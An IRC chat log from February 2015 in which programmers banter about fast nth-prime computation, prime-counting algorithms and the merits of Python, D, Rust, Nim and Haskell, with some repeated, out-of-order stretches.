[2015-02-25T22:23:37-0500] <JacobEdelman_> :)
[2015-02-25T22:23:49-0500] <JacobEdelman_> so
[2015-02-25T22:24:08-0500] <+awe> Yeah, I found what you're doing.
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[2015-02-25T22:10:37-0500] <Hyper> <3 llvm
[2015-02-25T22:11:44-0500] <assface> >tfw your program should work perfectly but doesn't
[2015-02-25T22:12:02-0500] <Hyper> assface: are you competing? :D
[2015-02-25T22:12:15-0500] <Hyper> or just complaining :(
[2015-02-25T22:13:58-0500] <assface> Hyper: yes
[2015-02-25T22:14:05-0500] <Hyper> :D
[2015-02-25T22:14:35-0500] <Hyper> 105.72s for the 100Mth prime, for anyone keeping score at home
[2015-02-25T22:15:06-0500] <+alokpathy> Who's doing BkP?
[2015-02-25T22:15:33-0500] <ubuntor> bkp!
[2015-02-25T22:16:08-0500] <+alokpathy> Yes :P
[2015-02-25T22:16:11-0500] <Hyper> BkP?
[2015-02-25T22:16:16-0500] <ubuntor> boston key party
[2015-02-25T22:24:36-0500] <+awe> Maybe faster.
[2015-02-25T22:16:19-0500] <adunna> ^
[2015-02-25T22:16:21-0500] <ubuntor> it's a great ctf
[2015-02-25T22:16:25-0500] <Hyper> ah ok
[2015-02-25T22:16:37-0500] <ubuntor> the problem interface looks intriguing
[2015-02-25T22:16:47-0500] <+alokpathy> Lol I guess.
[2015-02-25T22:20:43-0500] <JacobEdelman_> 188.45 seconds
[2015-02-25T22:20:45-0500] <JacobEdelman_> about
[2015-02-25T22:20:47-0500] <JacobEdelman_> maybe more
[2015-02-25T22:20:52-0500] <JacobEdelman_> for the 2**32th prime
[2015-02-25T22:20:58-0500] <JacobEdelman_> note this is before any optimization
[2015-02-25T22:20:59-0500] <JacobEdelman_> in python
[2015-02-25T22:21:01-0500] <JacobEdelman_> which means
[2015-02-25T22:21:06-0500] <JacobEdelman_> I destroy both you and hyper
[2015-02-25T22:21:07-0500] <JacobEdelman_> so far
[2015-02-25T22:21:09-0500] <JacobEdelman_> :)
[2015-02-25T22:21:11-0500] <JacobEdelman_> in python
[2015-02-25T22:21:16-0500] <JacobEdelman_> wanna know how I do it?
[2015-02-25T22:21:23-0500] <+awe> What?
[2015-02-25T22:21:27-0500] <+awe> That doesn't mean you destroy us all.
[2015-02-25T22:21:38-0500] <+awe> What is the 2^32th prime anyway?
[2015-02-25T22:21:42-0500] <+awe> Is it less than 2^32?
[2015-02-25T22:21:49-0500] <Hyper> awe: wat
[2015-02-25T22:21:55-0500] <+awe> It's definitely not.
[2015-02-25T22:22:02-0500] <+awe> So, it's not one we need to calculate.
[2015-02-25T22:22:12-0500] <+awe> JacobEdelman_: but yes, enlighten us as to what you're doing.
[2015-02-25T22:22:13-0500] <Hyper> that would require more primes between 0 and 2^32 than there are numbers in that range :P
[2015-02-25T22:22:18-0500] <+awe> Hyper: I know :p
[2015-02-25T22:22:24-0500] <+awe> Hyper: my point is it's way out of range.
[2015-02-25T22:22:42-0500] <JacobEdelman_> so
[2015-02-25T22:22:51-0500] <JacobEdelman_> you can calculate the number of primes below n
[2015-02-25T22:22:56-0500] <JacobEdelman_> in n^(2/3) time
[2015-02-25T22:22:58-0500] <JacobEdelman_> so you guess
[2015-02-25T22:23:07-0500] <JacobEdelman_> at the nth prime with a lower bound
[2015-02-25T22:23:18-0500] <JacobEdelman_> figure out how many primes are below that
[2015-02-25T22:23:27-0500] <JacobEdelman_> and sieve until you get to the nth prime from there
[2015-02-25T22:23:35-0500] <JacobEdelman_> it takes O(n^(2/3)) time
[2015-02-25T22:23:38-0500] <JacobEdelman_> :)
[2015-02-25T22:23:49-0500] <JacobEdelman_> so
[2015-02-25T22:24:37-0500] <JacobEdelman_> without any optimizations that gives me 
[2015-02-25T22:24:37-0500] Mode is +nt
[2015-02-25T22:24:37-0500] <JacobEdelman_> a
[2015-02-25T22:24:44-0500] <+awe> I maybe found a faster way than that.
[2015-02-25T22:24:47-0500] <JacobEdelman_> 4000x advantage on you guys?
[2015-02-25T22:24:49-0500] <+awe> No.
[2015-02-25T22:24:58-0500] <+awe> Because again: I implemented something different.
[2015-02-25T22:25:01-0500] <+awe> I implemented primes under n.
[2015-02-25T22:25:06-0500] <+awe> You can't compare to completely different things.
[2015-02-25T22:25:10-0500] <+awe> two*
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[2015-02-25T22:16:19-0500] <adunna> ^
[2015-02-25T22:16:21-0500] <ubuntor> it's a great ctf
[2015-02-25T22:16:25-0500] <Hyper> ah ok
[2015-02-25T22:16:37-0500] <ubuntor> the problem interface looks intriguing
[2015-02-25T22:16:47-0500] <+alokpathy> Lol I guess.
[2015-02-25T22:20:43-0500] <JacobEdelman_> 188.45 seconds
[2015-02-25T22:20:45-0500] <JacobEdelman_> about
[2015-02-25T22:20:47-0500] <JacobEdelman_> maybe more
[2015-02-25T22:20:52-0500] <JacobEdelman_> for the 2**32th prime
[2015-02-25T22:20:58-0500] <JacobEdelman_> note this is before any optimization
[2015-02-25T22:20:59-0500] <JacobEdelman_> in python
[2015-02-25T22:21:01-0500] <JacobEdelman_> which means
[2015-02-25T22:21:06-0500] <JacobEdelman_> I destroy both you and hyper
[2015-02-25T22:21:07-0500] <JacobEdelman_> so far
[2015-02-25T22:21:09-0500] <JacobEdelman_> :)
[2015-02-25T22:21:11-0500] <JacobEdelman_> in python
[2015-02-25T22:21:16-0500] <JacobEdelman_> wanna know how I do it?
[2015-02-25T22:21:23-0500] <+awe> What?
[2015-02-25T22:21:27-0500] <+awe> That doesn't mean you destroy us all.
[2015-02-25T22:21:38-0500] <+awe> What is the 2^32th prime anyway?
[2015-02-25T22:21:42-0500] <+awe> Is it less than 2^32?
[2015-02-25T22:21:49-0500] <Hyper> awe: wat
[2015-02-25T22:21:55-0500] <+awe> It's definitely not.
[2015-02-25T22:22:02-0500] <+awe> So, it's not one we need to calculate.
[2015-02-25T22:22:12-0500] <+awe> JacobEdelman_: but yes, enlighten us as to what you're doing.
[2015-02-25T22:22:13-0500] <Hyper> that would require more primes between 0 and 2^32 than there are numbers in that range :P
[2015-02-25T22:22:18-0500] <+awe> Hyper: I know :p
[2015-02-25T22:22:24-0500] <+awe> Hyper: my point is it's way out of range.
[2015-02-25T22:22:42-0500] <JacobEdelman_> so
[2015-02-25T22:22:51-0500] <JacobEdelman_> you can calculate the number of primes below n
[2015-02-25T22:22:56-0500] <JacobEdelman_> in n^(2/3) time
[2015-02-25T22:22:58-0500] <JacobEdelman_> so you guess
[2015-02-25T22:23:07-0500] <JacobEdelman_> at the nth prime with a lower bound
[2015-02-25T22:23:18-0500] <JacobEdelman_> figure out how many primes are below that
[2015-02-25T22:23:27-0500] <JacobEdelman_> and sieve until you get to the nth prime from there
[2015-02-25T22:23:35-0500] <JacobEdelman_> it takes O(n^(2/3)) time
[2015-02-25T22:23:38-0500] <JacobEdelman_> :)
[2015-02-25T22:23:49-0500] <JacobEdelman_> so
[2015-02-25T22:24:35-0500] <JacobEdelman_> without any optimizations that gives me 
[2015-02-25T22:24:37-0500] <+awe> Maybe faster.
[2015-02-25T22:24:37-0500] <JacobEdelman_> a
[2015-02-25T22:24:47-0500] <JacobEdelman_> 4000x advantage on you guys?
[2015-02-25T22:24:48-0500] <+awe> I maybe found a faster way than that.
[2015-02-25T22:24:50-0500] <+awe> No.
[2015-02-25T22:24:58-0500] <+awe> Because again: I implemented something different.
[2015-02-25T22:25:13-0500] <+awe> I implemented primes under n.
[2015-02-25T22:25:13-0500] <+awe> You can't compare to completely different things.
[2015-02-25T22:25:13-0500] <+awe> two*
[2015-02-25T22:25:14-0500] <JacobEdelman_> n*2/3 of 2^32 ~= 2^10
[2015-02-25T22:25:18-0500] <JacobEdelman_> well
[2015-02-25T22:25:21-0500] Mode is +nt
[2015-02-25T22:25:21-0500] <JacobEdelman_> I can use mine
[2015-02-25T22:25:23-0500] <JacobEdelman_> to do yours
[2015-02-25T22:25:27-0500] <JacobEdelman_> well
[2015-02-25T22:25:29-0500] <JacobEdelman_> but yeah
[2015-02-25T22:25:31-0500] <JacobEdelman_> I guess
[2015-02-25T22:25:32-0500] <+awe> No, you can't?
[2015-02-25T22:25:33-0500] <JacobEdelman_> anyway
[2015-02-25T22:25:38-0500] <JacobEdelman_> I guess you are right
[2015-02-25T22:25:43-0500] <+awe> You can't use nth prime to get largest prime under n?
[2015-02-25T22:25:46-0500] <JacobEdelman_> still
[2015-02-25T22:26:00-0500] <+awe> Anyway, I found one that's n^(3/2)/ log n
[2015-02-25T22:26:03-0500] <JacobEdelman_> to find largest prime under n
[2015-02-25T22:26:03-0500] <JacobEdelman_> you can do that fairly easily
[2015-02-25T22:26:03-0500] <JacobEdelman_> yes
[2015-02-25T22:26:07-0500] <JacobEdelman_> thats actually what i have
[2015-02-25T22:26:09-0500] <JacobEdelman_> wait
[2015-02-25T22:26:10-0500] <JacobEdelman_> you mean
[2015-02-25T22:26:16-0500] <JacobEdelman_> n^(2/3)/logn
[2015-02-25T22:26:17-0500] <JacobEdelman_> ?
[2015-02-25T22:26:20-0500] <+awe> Yes.
[2015-02-25T22:26:23-0500] <+awe> .That's why I said?
[2015-02-25T22:26:24-0500] <JacobEdelman_> mine is something like that
[2015-02-25T22:26:34-0500] <JacobEdelman_> awe> 
[2015-02-25T22:26:34-0500] <JacobEdelman_> Anyway, I found one that's n^(3/2)/ log n
[2015-02-25T22:26:42-0500] <JacobEdelman_> anyway
[2015-02-25T22:26:42-0500] <+awe> Yes.
[2015-02-25T22:26:45-0500] <JacobEdelman_> its just a matter
[2015-02-25T22:26:49-0500] <+awe> How is that different from what you wrote?
[2015-02-25T22:26:49-0500] <JacobEdelman_> of implementing
[2015-02-25T22:26:55-0500] <JacobEdelman_> 3/2 != 2/3
[2015-02-25T22:27:00-0500] <+awe> Oh, yes.
[2015-02-25T22:27:04-0500] <JacobEdelman_> yes
[2015-02-25T22:27:05-0500] <JacobEdelman_> so
[2015-02-25T22:27:08-0500] <JacobEdelman_> yeah
[2015-02-25T22:27:10-0500] <+awe> I thought your correction was the space.
[2015-02-25T22:27:20-0500] <JacobEdelman_> basicly
[2015-02-25T22:27:21-0500] <JacobEdelman_> https://en.wikipedia.org/wiki/Prime-counting_function
[2015-02-25T22:27:25-0500] <+awe> But yeah, I mean, all that took was a google search of "nth prime"
[2015-02-25T22:27:30-0500] <+awe> or calculating nth prime
[2015-02-25T22:27:48-0500] <+awe> I already had a page up with it open before you described it.
[2015-02-25T22:27:55-0500] <JacobEdelman_> https://github.com/kimwalisch/primecount
[2015-02-25T22:27:56-0500] <+awe> (or said anything about it)
[2015-02-25T22:28:02-0500] <JacobEdelman_> yeah, I guess
[2015-02-25T22:28:08-0500] <JacobEdelman_> still you insisted you would beat me
[2015-02-25T22:28:23-0500] <JacobEdelman_> but I can also do better at finding the largest prime less than n
[2015-02-25T22:28:26-0500] <JacobEdelman_> than you
[2015-02-25T22:28:35-0500] <+awe> I told you I would beat you in the same algorithm.
[2015-02-25T22:28:37-0500] <JacobEdelman_> (well, I can do better than n)
[2015-02-25T22:28:40-0500] <JacobEdelman_> well
[2015-02-25T22:28:43-0500] <JacobEdelman_> fine
[2015-02-25T22:28:44-0500] <JacobEdelman_> you might
[2015-02-25T22:28:47-0500] <JacobEdelman_> but thats detials
[2015-02-25T22:28:47-0500] <+awe> Because yes, the same algorithm in Rust/Nim/etc. is faster than Python.
[2015-02-25T22:28:49-0500] <+awe> It will be.
[2015-02-25T22:28:52-0500] <JacobEdelman_> oh yeah
[2015-02-25T22:28:54-0500] <JacobEdelman_> I agree
[2015-02-25T22:28:56-0500] <JacobEdelman_> but despite that
[2015-02-25T22:29:03-0500] <JacobEdelman_> I focused on fidnign a better algo
[2015-02-25T22:29:07-0500] <+awe> No, you didn't.
[2015-02-25T22:29:07-0500] <JacobEdelman_> and I beat both Hyper and you
[2015-02-25T22:29:12-0500] <JacobEdelman_> well
[2015-02-25T22:29:14-0500] <JacobEdelman_> I beat HYper
[2015-02-25T22:29:16-0500] <+awe> I did the same google search you did.
[2015-02-25T22:29:17-0500] <JacobEdelman_> *Hyper
[2015-02-25T22:29:32-0500] <Hyper> JacobEdelman_: I'm not competing :P
[2015-02-25T22:29:42-0500] <+awe> You're not a winner because you can google for an algorithm.
[2015-02-25T22:29:46-0500] <JacobEdelman_> no
[2015-02-25T22:29:48-0500] <JacobEdelman_> I'm a winner
[2015-02-25T22:29:54-0500] <JacobEdelman_> cause big O beats eveyrthing
[2015-02-25T22:29:59-0500] <JacobEdelman_> :)
[2015-02-25T22:30:04-0500] <+awe> Nobody is denying that.
[2015-02-25T22:30:13-0500] <Hyper> http://www.brickpicker.com/forum/uploads/gallery/album_28/gallery_2081_28_99857.png
[2015-02-25T22:30:16-0500] <+awe> Which is why I stressed at the beginning that this is a performance competition, not an algorithm competition.
[2015-02-25T22:30:21-0500] <JacobEdelman_> ahhh
[2015-02-25T22:30:30-0500] <JacobEdelman_> well, performance is algo
[2015-02-25T22:30:32-0500] <+awe> No.
[2015-02-25T22:30:33-0500] <JacobEdelman_> in my competition
[2015-02-25T22:30:37-0500] <+awe> It's not.
[2015-02-25T22:30:39-0500] <JacobEdelman_> *in my opinion
[2015-02-25T22:30:48-0500] <JacobEdelman_> unless you're saying its an optimization comeptition
[2015-02-25T22:30:48-0500] <+alokpathy> JacobEdelman_: Not in practice.
[2015-02-25T22:30:49-0500] <+awe> You can write the same algorithm in any language, ffs.
[2015-02-25T22:30:52-0500] <JacobEdelman_> in which case its kinda boring
[2015-02-25T22:30:56-0500] <JacobEdelman_> alokpathy: I just proved it was
[2015-02-25T22:31:03-0500] <+awe> You didn't prove anything.
[2015-02-25T22:31:03-0500] <+alokpathy> JacobEdelman_: What'd you do?
[2015-02-25T22:31:04-0500] <+awe> FFS.
[2015-02-25T22:31:05-0500] <JacobEdelman_> alokpathy: my nth prime program beat Hypers
[2015-02-25T22:31:13-0500] <JacobEdelman_> alokpathy: by a wide margin
[2015-02-25T22:31:18-0500] <+awe> He just wrote a sieve of eratosthenes.
[2015-02-25T22:31:26-0500] <+awe> Same with me.
[2015-02-25T22:31:27-0500] <JacobEdelman_> alokpathy: and I wrote https://github.com/kimwalisch/primecount
[2015-02-25T22:31:30-0500] • Hyper: reiterates that his program is dumb as fuck
[2015-02-25T22:31:35-0500] <JacobEdelman_> Hyper optimized in D
[2015-02-25T22:31:41-0500] <+awe> He didn't optimize anything.
[2015-02-25T22:31:46-0500] <+awe> He ran compile with -O3.
[2015-02-25T22:31:46-0500] <JacobEdelman_> just to make clear
[2015-02-25T22:31:47-0500] <+awe> >.>
[2015-02-25T22:31:52-0500] <JacobEdelman_> if your program ran
[2015-02-25T22:31:54-0500] <Hyper> ^^
[2015-02-25T22:31:57-0500] <JacobEdelman_> with really amazing super speed
[2015-02-25T22:31:59-0500] <+awe> Just stop talking.
[2015-02-25T22:32:01-0500] <JacobEdelman_> it still wouldn't beat mine
[2015-02-25T22:32:03-0500] <+awe> You're pissing me off.
[2015-02-25T22:32:07-0500] <JacobEdelman_> sorry
[2015-02-25T22:32:16-0500] <JacobEdelman_> ...
[2015-02-25T22:32:17-0500] <+awe> Nobody here has ever said that algorithmic complexity didn't matter.
[2015-02-25T22:32:24-0500] <+awe> You're acting like you've won an argument that *nobody was ever having*.
[2015-02-25T22:32:40-0500] <JacobEdelman_> +alokpathy> JacobEdelman_: Not in practice.
[2015-02-25T22:32:52-0500] <Hyper> instead of gloating and arguing maybe you should get back to making your programs as fast as possible :)
[2015-02-25T22:32:53-0500] <+awe> What he means is the same thing I keep telling you.
[2015-02-25T22:33:02-0500] <+awe> [22:30:49]  <+awe>	You can write the same algorithm in any language, ffs.
[2015-02-25T22:33:13-0500] <+awe> It doesn't matter how great your algorithm is because ANYONE CAN WRITE THAT ALGORITHM.
[2015-02-25T22:33:13-0500] <JacobEdelman_> true
[2015-02-25T22:33:31-0500] <JacobEdelman_> but I don't like a language that encourages bad programming behavior
[2015-02-25T22:33:35-0500] <JacobEdelman_> like optimization
[2015-02-25T22:33:37-0500] <JacobEdelman_> :P
[2015-02-25T22:33:37-0500] <+awe> You mean Python?
[2015-02-25T22:33:41-0500] <+awe> Python encourages bad programming behavior.
[2015-02-25T22:33:42-0500] <JacobEdelman_> no
[2015-02-25T22:33:46-0500] <JacobEdelman_> python discourages fast code
[2015-02-25T22:33:49-0500] <JacobEdelman_> making its programmers
[2015-02-25T22:33:52-0500] <+awe> And not knowing about memory.
[2015-02-25T22:33:53-0500] <+awe> Or computers.
[2015-02-25T22:33:56-0500] <JacobEdelman_> rely on implementing the best algo
[2015-02-25T22:34:04-0500] <+awe> That's not true at all.
[2015-02-25T22:34:04-0500] <JacobEdelman_> :P
[2015-02-25T22:34:11-0500] <+awe> In practice, it means that most python programmers write shitty things.
[2015-02-25T22:34:16-0500] <+alokpathy> JacobEdelman_: You do realize that not everything in the software industry is writing a better algo, right?
[2015-02-25T22:34:16-0500] <JacobEdelman_> well, theres no other way to get speed in python
[2015-02-25T22:34:41-0500] <+alokpathy> JacobEdelman_: In fact, a very small percentage of the work done is to get a faster algorithm.
[2015-02-25T22:34:46-0500] <JacobEdelman_> alokpathy: yes, I've written legit software :) its just that the best speedups come from better algo and I really could care less about other stuff
[2015-02-25T22:34:55-0500] <JacobEdelman_> alokpathy: (I'm only talking in terms of speed)
[2015-02-25T22:35:07-0500] <JacobEdelman_> Disclaimer: I only believe 50% of the things I say
[2015-02-25T22:35:19-0500] <JacobEdelman_> "10:33 PM <JacobEdelman_> but I don't like a language that encourages bad programming behavior
[2015-02-25T22:35:19-0500] <JacobEdelman_> 10:33 PM <JacobEdelman_> like optimization" was me trolling
[2015-02-25T22:35:28-0500] <+awe> Of course it was.
[2015-02-25T22:35:34-0500] <JacobEdelman_> just clearing that up
[2015-02-25T22:35:45-0500] <+awe> You'd have to be an idiot to actually think optimization is bad.
[2015-02-25T22:35:50-0500] <JacobEdelman_> ...
[2015-02-25T22:35:54-0500] <JacobEdelman_> well
[2015-02-25T22:35:59-0500] <JacobEdelman_> I've proven I am several times
[2015-02-25T22:35:59-0500] <+awe> Premature optimization is bad.
[2015-02-25T22:36:00-0500] <JacobEdelman_> soo?
[2015-02-25T22:36:11-0500] <+awe> Optimization is rarely a substitute for a better algorithm.
[2015-02-25T22:36:55-0500] <LittleBobbyTables> why do I have two mentions
[2015-02-25T22:37:03-0500] <JacobEdelman_> I agree with awe
[2015-02-25T22:37:07-0500] <JacobEdelman_> for once
[2015-02-25T22:37:08-0500] <JacobEdelman_> on that
[2015-02-25T22:37:23-0500] <+awe> But for example, hyper-parallelizing merge sort is great.
[2015-02-25T22:37:33-0500] <+awe> That's most of what sorting research is now.
[2015-02-25T22:37:46-0500] <Hyper> when i parallelize merge sort great things happen indeed :)
[2015-02-25T22:37:51-0500] <+awe> Lol.
[2015-02-25T22:37:56-0500] <JacobEdelman_> and I do think there is a problem where a language becomes too focused on performance, and makes programmers focus on optimization prematurely, that said, the opposite can also happen easily
[2015-02-25T22:38:34-0500] <+awe> I don't use C/C++ for that reason.
[2015-02-25T22:39:24-0500] <+awe> I use a language where I can rely on abstractions being low-to-no-cost, there won't be null pointers, and I have the ability to control memory when I need to.
[2015-02-25T22:39:33-0500] • Hyper: plugs the fact that D is mostly about programmer ease-of-use, but generates pretty good output at the same time :)
[2015-02-25T22:39:42-0500] <+awe> Hyper: I'd argue that's true of Rust too.
[2015-02-25T22:39:54-0500] <+awe> With a different approach though.
[2015-02-25T22:40:04-0500] <JacobEdelman_> gnight
[2015-02-25T22:40:06-0500] <Hyper> awe: I'd argue that rust focuses more on memory safety than programmer ease-of-use
[2015-02-25T22:40:09-0500] <JacobEdelman_> it way too late for me
[2015-02-25T22:40:15-0500] <Hyper> though it certainly focuses on ease of use lol
[2015-02-25T22:40:16-0500] <+awe> I'd argue that that is an ease of use. :p
[2015-02-25T22:40:23-0500] <JacobEdelman_> (i'd argue thats true about nim)
[2015-02-25T22:40:24-0500] <+awe> Which is what I meant by a different approach.
[2015-02-25T22:40:39-0500] <JacobEdelman_> nim looks like python but is fast
[2015-02-25T22:40:41-0500] <+awe> JacobEdelman_: but Nim is unsafe when you don't use the GC.
[2015-02-25T22:41:00-0500] <Hyper> somebody implemented destructuring as a library in D a little while ago :)
[2015-02-25T22:41:04-0500] <Hyper> like a week ago
[2015-02-25T22:41:06-0500] <+awe> Neat.
[2015-02-25T22:41:16-0500] <+awe> Brb. Gotta restart computer.
[2015-02-25T22:41:26-0500] <Hyper> int x, y; let (x, y) = some_function_that_returns_a_tuple();
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[2015-02-25T22:33:53-0500] <+awe> Or computers.
[2015-02-25T22:33:56-0500] <JacobEdelman_> rely on implementing the best algo
[2015-02-25T22:34:04-0500] <+awe> That's not true at all.
[2015-02-25T22:34:04-0500] <JacobEdelman_> :P
[2015-02-25T22:34:11-0500] <+awe> In practice, it means that most python programmers write shitty things.
[2015-02-25T22:34:16-0500] <+alokpathy> JacobEdelman_: You do realize that not everything in the software industry is writing a better algo, right?
[2015-02-25T22:34:16-0500] <JacobEdelman_> well, theres no other way to get speed in python
[2015-02-25T22:34:41-0500] <+alokpathy> JacobEdelman_: In fact, a very small percentage of the work done is to get a faster algorithm.
[2015-02-25T22:34:46-0500] <JacobEdelman_> alokpathy: yes, I've written legit software :) its just that the best speedups come from better algo and I really could care less about other stuff
[2015-02-25T22:34:55-0500] <JacobEdelman_> alokpathy: (I'm only talking in terms of speed)
[2015-02-25T22:35:07-0500] <JacobEdelman_> Disclaimer: I only believe 50% of the things I say
[2015-02-25T22:35:19-0500] <JacobEdelman_> "10:33 PM <JacobEdelman_> but I don't like a language that encourages bad programming behavior
[2015-02-25T22:35:19-0500] <JacobEdelman_> 10:33 PM <JacobEdelman_> like optimization" was me trolling
[2015-02-25T22:35:28-0500] <+awe> Of course it was.
[2015-02-25T22:35:34-0500] <JacobEdelman_> just clearing that up
[2015-02-25T22:35:45-0500] <+awe> You'd have to be an idiot to actually think optimization is bad.
[2015-02-25T22:35:50-0500] <JacobEdelman_> ...
[2015-02-25T22:35:54-0500] <JacobEdelman_> well
[2015-02-25T22:35:59-0500] <JacobEdelman_> I've proven I am several times
[2015-02-25T22:35:59-0500] <+awe> Premature optimization is bad.
[2015-02-25T22:36:00-0500] <JacobEdelman_> soo?
[2015-02-25T22:36:11-0500] <+awe> Optimization is rarely a substitute for a better algorithm.
[2015-02-25T22:36:55-0500] <LittleBobbyTables> why do I have two mentions
[2015-02-25T22:37:03-0500] <JacobEdelman_> I agree with awe
[2015-02-25T22:37:07-0500] <JacobEdelman_> for once
[2015-02-25T22:37:08-0500] <JacobEdelman_> on that
[2015-02-25T22:37:23-0500] <+awe> But for example, hyper-parallelizing merge sort is great.
[2015-02-25T22:37:33-0500] <+awe> That's most of what sorting research is now.
[2015-02-25T22:37:46-0500] <Hyper> when i parallelize merge sort great things happen indeed :)
[2015-02-25T22:37:51-0500] <+awe> Lol.
[2015-02-25T22:37:56-0500] <JacobEdelman_> and I do think there is a problem where a language becomes too focused on performance, and makes programmers focus on optimization prematurely, that said, the opposite can also happen easily
[2015-02-25T22:38:34-0500] <+awe> I don't use C/C++ for that reason.
[2015-02-25T22:39:24-0500] <+awe> I use a language where I can rely on abstractions being low-to-no-cost, there won't be null pointers, and I have the ability to control memory when I need to.
[2015-02-25T22:39:33-0500] • Hyper: plugs the fact that D is mostly about programmer ease-of-use, but generates pretty good output at the same time :)
[2015-02-25T22:39:42-0500] <+awe> Hyper: I'd argue that's true of Rust too.
[2015-02-25T22:39:54-0500] <+awe> With a different approach though.
[2015-02-25T22:40:04-0500] <JacobEdelman_> gnight
[2015-02-25T22:40:06-0500] <Hyper> awe: I'd argue that rust focuses more on memory safety than programmer ease-of-use
[2015-02-25T22:40:09-0500] <JacobEdelman_> it way too late for me
[2015-02-25T22:40:15-0500] <Hyper> though it certainly focuses on ease of use lol
[2015-02-25T22:40:16-0500] <+awe> I'd argue that that is an ease of use. :p
[2015-02-25T22:40:23-0500] <JacobEdelman_> (i'd argue thats true about nim)
[2015-02-25T22:40:24-0500] <+awe> Which is what I meant by a different approach.
[2015-02-25T22:40:39-0500] <JacobEdelman_> nim looks like python but is fast
[2015-02-25T22:40:41-0500] <+awe> JacobEdelman_: but Nim is unsafe when you don't use the GC.
[2015-02-25T22:41:00-0500] <Hyper> somebody implemented destructuring as a library in D a little while ago :)
[2015-02-25T22:41:04-0500] <Hyper> like a week ago
[2015-02-25T22:41:06-0500] <+awe> Neat.
[2015-02-25T22:41:16-0500] <+awe> Brb. Gotta restart computer.
[2015-02-25T22:41:26-0500] <Hyper> int x, y; let (x, y) = some_function_that_returns_a_tuple();
[2015-02-25T22:47:39-0500] Mode is +nt
[2015-02-25T22:47:56-0500] <+awe> OS X pre-releases can be really unstable sometimes.
[2015-02-25T22:48:06-0500] <calc0000> your face can be really unstable sometimes
[2015-02-25T22:48:08-0500] <+awe> Hyper: let (x, y) = any_function_returning_a_tuple(); in rust.
[2015-02-25T22:48:12-0500] <+awe> calc0000: thanks, bb.
[2015-02-25T22:48:42-0500] <Hyper> awe: it's not perfect, because it's not a language feature :)
[2015-02-25T22:48:52-0500] <Hyper> still, it works pretty nicely
[2015-02-25T22:49:38-0500] <+awe> I'm pretty sure the design methodology for Rust is D + memory-safety + the things they forgot.
[2015-02-25T22:52:34-0500] <+awe> JacobEdelman_: there's an implementation of Meissel-Lehmer in Haskell. :)
[2015-02-25T22:52:52-0500] <+awe> A really fast one.
[2015-02-25T22:53:04-0500] <+awe> Hyper: what was your time for 1mth prime?
[2015-02-25T22:53:23-0500] <Hyper> awe: .23s
[2015-02-25T22:53:31-0500] <+awe> .03s in Haskell.
[2015-02-25T22:53:35-0500] <Hyper> k
[2015-02-25T22:53:48-0500] <+awe> Just wanted a basis of comparison on that.
[2015-02-25T22:54:04-0500] <calc0000> rekt?
[2015-02-25T22:54:14-0500] <+awe> calc0000: you should do it too
[2015-02-25T22:54:18-0500] <+awe> calc0000: you'll wreck everyone.
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[2015-02-25T23:02:51-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T22:35:59-0500] <JacobEdelman_> I've proven I am several times
[2015-02-25T22:35:59-0500] <+awe> Premature optimization is bad.
[2015-02-25T22:36:00-0500] <JacobEdelman_> soo?
[2015-02-25T22:36:11-0500] <+awe> Optimization is rarely a substitute for a better algorithm.
[2015-02-25T22:36:55-0500] <LittleBobbyTables> why do I have two mentions
[2015-02-25T22:37:03-0500] <JacobEdelman_> I agree with awe
[2015-02-25T22:37:07-0500] <JacobEdelman_> for once
[2015-02-25T22:37:08-0500] <JacobEdelman_> on that
[2015-02-25T22:37:23-0500] <+awe> But for example, hyper-parallelizing merge sort is great.
[2015-02-25T22:37:33-0500] <+awe> That's most of what sorting research is now.
[2015-02-25T22:37:46-0500] <Hyper> when i parallelize merge sort great things happen indeed :)
[2015-02-25T22:37:51-0500] <+awe> Lol.
[2015-02-25T22:37:56-0500] <JacobEdelman_> and I do think there is a problem where a language becomes too focused on performance, and makes programmers focus on optimization prematurely, that said, the opposite can also happen easily
[2015-02-25T22:38:34-0500] <+awe> I don't use C/C++ for that reason.
[2015-02-25T22:39:24-0500] <+awe> I use a language where I can rely on abstractions being low-to-no-cost, there won't be null pointers, and I have the ability to control memory when I need to.
[2015-02-25T22:39:33-0500] • Hyper: plugs the fact that D is mostly about programmer ease-of-use, but generates pretty good output at the same time :)
[2015-02-25T22:39:42-0500] <+awe> Hyper: I'd argue that's true of Rust too.
[2015-02-25T22:39:54-0500] <+awe> With a different approach though.
[2015-02-25T22:40:04-0500] <JacobEdelman_> gnight
[2015-02-25T22:40:06-0500] <Hyper> awe: I'd argue that rust focuses more on memory safety than programmer ease-of-use
[2015-02-25T22:40:09-0500] <JacobEdelman_> it way too late for me
[2015-02-25T22:40:15-0500] <Hyper> though it certainly focuses on ease of use lol
[2015-02-25T22:40:16-0500] <+awe> I'd argue that that is an ease of use. :p
[2015-02-25T22:40:23-0500] <JacobEdelman_> (i'd argue thats true about nim)
[2015-02-25T22:40:24-0500] <+awe> Which is what I meant by a different approach.
[2015-02-25T22:40:39-0500] <JacobEdelman_> nim looks like python but is fast
[2015-02-25T22:40:41-0500] <+awe> JacobEdelman_: but Nim is unsafe when you don't use the GC.
[2015-02-25T22:41:00-0500] <Hyper> somebody implemented destructuring as a library in D a little while ago :)
[2015-02-25T22:41:04-0500] <Hyper> like a week ago
[2015-02-25T22:41:06-0500] <+awe> Neat.
[2015-02-25T22:41:16-0500] <+awe> Brb. Gotta restart computer.
[2015-02-25T22:41:26-0500] <Hyper> int x, y; let (x, y) = some_function_that_returns_a_tuple();
[2015-02-25T22:47:56-0500] <+awe> OS X pre-releases can be really unstable sometimes.
[2015-02-25T22:48:06-0500] <calc0000> your face can be really unstable sometimes
[2015-02-25T22:48:08-0500] <+awe> Hyper: let (x, y) = any_function_returning_a_tuple(); in rust.
[2015-02-25T22:48:13-0500] <+awe> calc0000: thanks, bb.
[2015-02-25T22:48:42-0500] <Hyper> awe: it's not perfect, because it's not a language feature :)
[2015-02-25T22:48:52-0500] <Hyper> still, it works pretty nicely
[2015-02-25T22:49:38-0500] <+awe> I'm pretty sure the design methodology for Rust is D + memory-safety + the things they forgot.
[2015-02-25T22:52:34-0500] <+awe> JacobEdelman_: there's an implementation of Meissel-Lehmer in Haskell. :)
[2015-02-25T22:52:52-0500] <+awe> A really fast one.
[2015-02-25T22:53:04-0500] <+awe> Hyper: what was your time for 1mth prime?
[2015-02-25T22:53:23-0500] <Hyper> awe: .23s
[2015-02-25T22:53:31-0500] <+awe> .03s in Haskell.
[2015-02-25T22:53:35-0500] <Hyper> k
[2015-02-25T22:53:48-0500] <+awe> Just wanted a basis of comparison on that.
[2015-02-25T22:54:04-0500] <calc0000> rekt?
